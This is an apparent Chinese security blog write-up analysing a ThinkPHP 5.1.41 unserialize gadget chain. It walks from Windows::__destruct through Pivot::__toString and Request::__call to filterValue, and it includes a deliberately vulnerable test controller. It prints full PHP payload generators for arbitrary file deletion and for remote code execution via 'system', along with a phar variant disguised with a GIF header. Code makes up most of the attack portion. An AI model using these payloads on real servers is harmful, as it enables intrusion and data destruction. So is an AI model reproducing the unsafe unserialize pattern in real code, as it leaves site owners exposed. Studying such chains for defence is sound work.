漏洞环境:
版本:
1 2 ThinkPHP V5.1.41 php v7.1.9
测试代码:
application目录下新建一个一个模块test在controller文件夹内创建Test.php内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php #命名空间app默认位于application namespace app\test\controller; class Test { //访问http://localhost/tp5/public/index.php/test/test/hello //或者传递参数访问http://localhost/tp5/public/index.php/test/test/hello/pass/参数 public function hello($pass = 'pass') { unserialize(base64_decode($pass)); return 'hello'; } }
漏洞分析:
反序列化利用链的起点在thinkphp/library/think/process/pipes/Windows.php中
__destruct() //该方法在对象被销毁时触发
我们进入removeFiles函数中,可以发现这里有一个文件删除的功能点。通过file_exists判断文件是否存在然后删除。
这里存在两个漏洞一个是反序列化+任意文件删除的漏洞,文件删除漏洞的payload很简单这里直接给出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php namespace think\process\pipes{ class Windows { private $files; public function __construct() { $this->files=["D:\\test.txt"]; } } } namespace{ use think\process\pipes\Windows; echo (base64_encode(serialize(new Windows()))); } ?>
还有一个就是反序列化+rce的漏洞了。我们知道file_exists会将触发__toString方法,所以这条反序列化链的下一步是寻找触发可以触发__toString
的类。
__toString() //把类当作字符串使用时触发
通过全局搜索可以发现在thinkphp\library\think\model\concern\Conversion.php中存在__toString方法
但因为Conversion为trial所以我们无法直接实例化,我们需要寻找一个类使得Windows可以和Conversion建立联系
1 2 Trait介绍: Trait 和 Class 相似,无法通过 trait 自身来实例化。从基类继承的成员会被 trait 插入的成员所覆盖。优先顺序是来自当前类的成员覆盖了 trait 的方法,而 trait 则覆盖了被继承的方法。
发现Model类符合我们的要求,但因为Model为抽象类不能直接实例化,我们还要寻找一个继承Model类的类作为跳板
发现Pivot类符合要求
先来理一理到这一步为止我们构造的反序列化链Windows->Pivot(继承于Model带有Conversion的__toString
方法)。如果类Pivot被当作字符串处理就会触发trial的__toString
方法。所以截至现在序列化字符串的构造应该是下面这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php namespace think { abstract class Model { } } namespace think \process \pipes { use think \model \Pivot ; class Windows { private $files ; public function __construct ( ) { $this ->files=[new Pivot ()]; } } } namespace think \model { use think \Model ; class Pivot extends Model { } } namespace { use think \process \pipes \Windows ; echo (base64_encode (serialize (new Windows ()))); } ?>
接着来到__toString方法的执行
进入到toJson中,发现toArray自定义的函数,继续进入
在toArray函数中我们看到下面这段。getAtter是一个获取器可以获取数据对象的值,也就是说我们可以通过getAtter获取$key所指向的对象。
我们跟进getAtter,可以发现对象是通过$this->data获取的
回到toArray函数中,我们发现再获取了$relation
之后,会调用$relation的visible()方法
我们知道__call() 在对象上下文中调用不可访问的方法时会触发
,所以我们下一步需要寻找一个没有visible()方法却有__call()
的类。
thinkphp\library\think\Request.php的Request类符合我们的要求。
所以我们把上文的Model类构造进行完善
1 2 3 4 5 6 7 8 9 10 11 12 13 从 abstract class Model{ } 到 abstract class Model{ protected $append; private $data; function __construct(){ $this->append = ["aaaa"=>["123456"]]; $this->data = ["aaaa"=>new Request()]; } }
接着看到call_user_func_array函数,这个函数允许我们调用系统函数,但因为通过__call
传入的参数$args不符合要求,我们需要进行转化。事实上在Request类中,存在一个isAjax方法。通过这个方法掉用param()方法再通过param()方法调用input()方法再在input()方法中通过array_walk_recursive()函数调用filterValue()方法,在filterValue()方法中实现rce。
下面是跟踪的过程:
进入call_user_func_array调用的isAjax()方法中($this->hook[$method]
的值为[$this,"isAjax"])
进入param()方法
进入input()方法
通过array_walk_recursive()函数调用filterValue()方法
成功rce
所以最终完整的payload就出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php namespace think { abstract class Model { protected $append ; private $data ; function __construct ( ) { $this ->append = ["aaaa" =>["123456" ]]; $this ->data = ["aaaa" =>new Request ()]; } } class Request { protected $param ; protected $hook ; protected $filter ; protected $config ; function __construct ( ) { $this ->filter = "system" ; $this ->config = ["var_ajax" =>'' ]; $this ->hook = ["visible" =>[$this ,"isAjax" ]]; $this ->param = ["calc" ]; } } } namespace think \process \pipes { use think \model \Pivot ; class Windows { private $files ; public function __construct ( ) { $this ->files=[new Pivot ()]; } } } namespace think \model { use think \Model ; class Pivot extends Model { } } namespace { use think \process \pipes \Windows ; echo (base64_encode (serialize (new Windows ()))); } ?>
为了满足phar反序列化利用的要求我们可以增加一些代码,生成含有phar序列化的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php namespace think { abstract class Model { protected $append ; private $data ; function __construct ( ) { $this ->append = ["aaaa" =>["123456" ]]; $this ->data = ["aaaa" =>new Request ()]; } } class Request { protected $param ; protected $hook ; protected $filter ; protected $config ; function __construct ( ) { $this ->filter = "system" ; $this ->config = ["var_ajax" =>'' ]; $this ->hook = ["visible" =>[$this ,"isAjax" ]]; $this ->param = ["calc" ]; } } } namespace think \process \pipes { use think \model \Pivot ; class Windows { private $files ; public function __construct ( ) { $this ->files=[new Pivot ()]; } } } namespace think \model { use think \Model ; class Pivot extends Model { } } namespace { use think \process \pipes \Windows ; @unlink ('shell.jpg' ); $phar = new Phar ("shell.phar" ); $phar ->startBuffering (); $phar -> setStub ('GIF89a' .'<?php __HALT_COMPILER();?>' ); $object = new Windows (); $phar ->setMetadata ($object ); $phar ->addFromString ("a" , "a" ); $phar ->stopBuffering (); echo (base64_encode (serialize (new Windows ()))); } ?>
漏洞总结:
该反序列化漏洞的利用链汇总
1 2 3 4 5 6 7 8 9 10 11 起点:任意反序列化点 -->Windows::__destruct -->Windows::removeFiles -->file_exists(将类当作字符串触发__toString) -->Pivot::__toString(方法继承于Model类而Model类的__toString来自于Conversion,下面的toJson()也是同样的) -->Pivot::toJson -->Request::visible(Request类没有visible方法触发__call) -->Request::__call -->通过Request类的三个方法isAjax、param、input -->Request::filterValue 终点:-->call_user_func,最终触发rce
总结:蛮难的。。。。。